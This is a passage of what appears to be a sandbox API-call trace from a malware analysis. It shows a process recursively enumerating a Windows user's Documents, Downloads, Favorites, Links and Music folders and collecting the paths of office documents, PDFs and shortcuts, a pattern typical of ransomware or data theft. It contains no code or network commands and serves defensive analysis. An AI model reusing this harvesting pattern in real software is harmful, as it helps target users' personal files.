returned="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned 49 [0123.935] lstrcpyW (in: lpString1=0x24be700, lpString2="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="OE_9.docx", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="OE_9.docx", lpString2="..") returned 1 [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.935] lstrlenW (lpString="OE_9.docx") returned 9 [0123.935] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="OE_9.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned 37 [0123.935] lstrcpyW (in: lpString1=0x24bb6d0, lpString2="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.935] lstrlenW (lpString="OneNote Notebooks") returned 17 [0123.935] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned="c:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.936] lstrlenW (lpString="Outlook Files") returned 13 [0123.936] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Outlook Files" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned="c:\\Users\\aETAdzjz\\Documents\\Outlook Files" [0123.936] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.936] lstrcmpW (lpString1="Pu8nkjiAKviOXnl1Gn5.docx", lpString2=".") returned 1 [0123.936] lstrcmpW (lpString1="Pu8nkjiAKviOXnl1Gn5.docx", lpString2="..") returned 1 [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.936] lstrlenW (lpString="Pu8nkjiAKviOXnl1Gn5.docx") returned 24 [0123.936] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Pu8nkjiAKviOXnl1Gn5.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned 52 [0123.936] lstrcpyW (in: lpString1=0x24b8f90, lpString2="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" [0123.936] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.936] lstrcmpW (lpString1="w39fbPx.pptx", lpString2=".") returned 1 [0123.936] lstrcmpW (lpString1="w39fbPx.pptx", lpString2="..") returned 1 [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.936] lstrlenW (lpString="w39fbPx.pptx") returned 12 [0123.936] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="w39fbPx.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned 40 [0123.936] lstrcpyW (in: lpString1=0x24bc6f0, lpString2="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" [0123.936] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.936] lstrcmpW (lpString1="Wvwv-n0sd.pptx", lpString2=".") returned 1 [0123.936] lstrcmpW (lpString1="Wvwv-n0sd.pptx", lpString2="..") returned 1 [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.936] lstrlenW (lpString="Wvwv-n0sd.pptx") returned 14 [0123.936] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Wvwv-n0sd.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned 42 [0123.936] lstrcpyW (in: lpString1=0x24bc750, lpString2="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" [0123.936] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.936] lstrcmpW (lpString1="XoRtIuBcm 9dtD-.xlsx", lpString2=".") returned 1 [0123.936] lstrcmpW (lpString1="XoRtIuBcm 9dtD-.xlsx", lpString2="..") returned 1 [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.936] lstrlenW (lpString="XoRtIuBcm 9dtD-.xlsx") returned 20 [0123.936] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="XoRtIuBcm 9dtD-.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned 48 [0123.936] lstrcpyW (in: lpString1=0x24be770, lpString2="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" [0123.936] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.936] lstrcmpW (lpString1="yuLsb9JD4.pptx", lpString2=".") returned 1 [0123.936] lstrcmpW (lpString1="yuLsb9JD4.pptx", lpString2="..") returned 1 [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.936] lstrlenW (lpString="yuLsb9JD4.pptx") returned 14 [0123.936] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="yuLsb9JD4.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned 42 [0123.936] lstrcpyW (in: lpString1=0x24bc7b0, lpString2="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" [0123.936] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.936] lstrcmpW (lpString1="_r0qj", lpString2=".") returned 1 [0123.936] lstrcmpW (lpString1="_r0qj", lpString2="..") returned 1 [0123.936] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.937] lstrlenW (lpString="_r0qj") returned 5 [0123.937] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="_r0qj" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\_r0qj") returned="c:\\Users\\aETAdzjz\\Documents\\_r0qj" [0123.937] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.937] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.937] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.937] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0123.937] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0123.937] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.937] lstrlenW (lpString="Downloads") returned 9 [0123.937] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Downloads" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads") returned="c:\\Users\\aETAdzjz\\Downloads" [0123.937] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\") returned="c:\\Users\\aETAdzjz\\Downloads\\" [0123.937] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0123.937] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\*") returned="c:\\Users\\aETAdzjz\\Downloads\\*" [0123.937] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Downloads\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.937] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.937] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.937] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.937] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.937] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.937] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0123.937] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0123.937] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0123.937] lstrlenW (lpString="ChromeSetup.exe") returned 15 [0123.937] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="ChromeSetup.exe" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" [0123.937] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned 43 [0123.937] lstrcpyW (in: lpString1=0x24bc810, lpString2="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" [0123.937] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.937] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.937] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.937] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0123.937] lstrlenW (lpString="desktop.ini") returned 11 [0123.937] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" [0123.937] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned 39 [0123.937] lstrcpyW (in: lpString1=0x24bb728, lpString2="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" [0123.937] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.937] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.937] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.937] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0123.937] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0123.937] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.937] lstrlenW (lpString="Favorites") returned 9 [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Favorites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites") returned="c:\\Users\\aETAdzjz\\Favorites" [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\") returned="c:\\Users\\aETAdzjz\\Favorites\\" [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\*") returned="c:\\Users\\aETAdzjz\\Favorites\\*" [0123.938] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Favorites\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.938] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.938] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.938] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.938] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.938] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.938] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.938] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0123.938] lstrlenW (lpString="desktop.ini") returned 11 [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned 39 [0123.938] lstrcpyW (in: lpString1=0x24bb780, lpString2="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" [0123.938] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.938] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0123.938] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0123.938] lstrlenW (lpString="Links") returned 5 [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Links" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Links") returned="c:\\Users\\aETAdzjz\\Favorites\\Links" [0123.938] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.938] lstrcmpW (lpString1="Microsoft Websites", lpString2=".") returned 1 [0123.938] lstrcmpW (lpString1="Microsoft Websites", lpString2="..") returned 1 [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0123.938] lstrlenW (lpString="Microsoft Websites") returned 18 [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Microsoft Websites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Microsoft Websites") returned="c:\\Users\\aETAdzjz\\Favorites\\Microsoft Websites" [0123.938] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.938] lstrcmpW (lpString1="MSN Websites", lpString2=".") returned 1 [0123.938] lstrcmpW (lpString1="MSN Websites", lpString2="..") returned 1 [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0123.938] lstrlenW (lpString="MSN Websites") returned 12 [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="MSN Websites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\MSN Websites") returned="c:\\Users\\aETAdzjz\\Favorites\\MSN Websites" [0123.938] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.938] lstrcmpW (lpString1="Windows Live", lpString2=".") returned 1 [0123.938] lstrcmpW (lpString1="Windows Live", lpString2="..") returned 1 [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0123.938] lstrlenW (lpString="Windows Live") returned 12 [0123.938] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Windows Live" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Windows Live") returned="c:\\Users\\aETAdzjz\\Favorites\\Windows Live" [0123.938] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.938] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.938] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.938] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0123.938] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0123.938] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.938] lstrlenW (lpString="Links") returned 5 [0123.939] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Links" | out: lpString1="c:\\Users\\aETAdzjz\\Links") returned="c:\\Users\\aETAdzjz\\Links" [0123.939] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\") returned="c:\\Users\\aETAdzjz\\Links\\" [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0123.939] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\*") returned="c:\\Users\\aETAdzjz\\Links\\*" [0123.939] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Links\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.939] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.939] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.939] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.939] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0123.939] lstrlenW (lpString="desktop.ini") returned 11 [0123.939] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Links\\desktop.ini" [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned 35 [0123.939] lstrcpyW (in: lpString1=0x24bf678, lpString2="c:\\Users\\aETAdzjz\\Links\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Links\\desktop.ini" [0123.939] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.939] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0123.939] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0123.939] lstrlenW (lpString="Desktop.lnk") returned 11 [0123.939] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="Desktop.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned 35 [0123.939] lstrcpyW (in: lpString1=0x24bf6c8, lpString2="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Desktop.lnk" [0123.939] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.939] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0123.939] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0123.939] lstrlenW (lpString="Downloads.lnk") returned 13 [0123.939] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="Downloads.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned 37 [0123.939] lstrcpyW (in: lpString1=0x24bb7d8, lpString2="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk") returned="c:\\Users\\aETAdzjz\\Links\\Downloads.lnk" [0123.939] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.939] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0123.939] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0123.939] lstrlenW (lpString="OneDrive.lnk") returned 12 [0123.939] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="OneDrive.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" [0123.939] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned 36 [0123.939] lstrcpyW (in: lpString1=0x24bb830, lpString2="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" [0123.939] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.939] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1 [0123.940] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1 [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0123.940] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="RecentPlaces.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned 40 [0123.940] lstrcpyW (in: lpString1=0x24bc870, lpString2="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" [0123.940] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.940] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.940] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.940] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0123.940] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.940] lstrlenW (lpString="Local Settings") returned 14 [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Local Settings" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings") returned="c:\\Users\\aETAdzjz\\Local Settings" [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Local Settings", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\") returned="c:\\Users\\aETAdzjz\\Local Settings\\" [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Local Settings\\") returned 33 [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\*") returned="c:\\Users\\aETAdzjz\\Local Settings\\*" [0123.940] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Local Settings\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0xffffffff [0123.940] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.940] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0123.940] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.940] lstrlenW (lpString="Music") returned 5 [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Music" | out: lpString1="c:\\Users\\aETAdzjz\\Music") returned="c:\\Users\\aETAdzjz\\Music" [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\") returned="c:\\Users\\aETAdzjz\\Music\\" [0123.940] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0123.940] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\*") returned="c:\\Users\\aETAdzjz\\Music\\*" [0123.940] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Music\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.940] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.940] FindNextFileW (in: 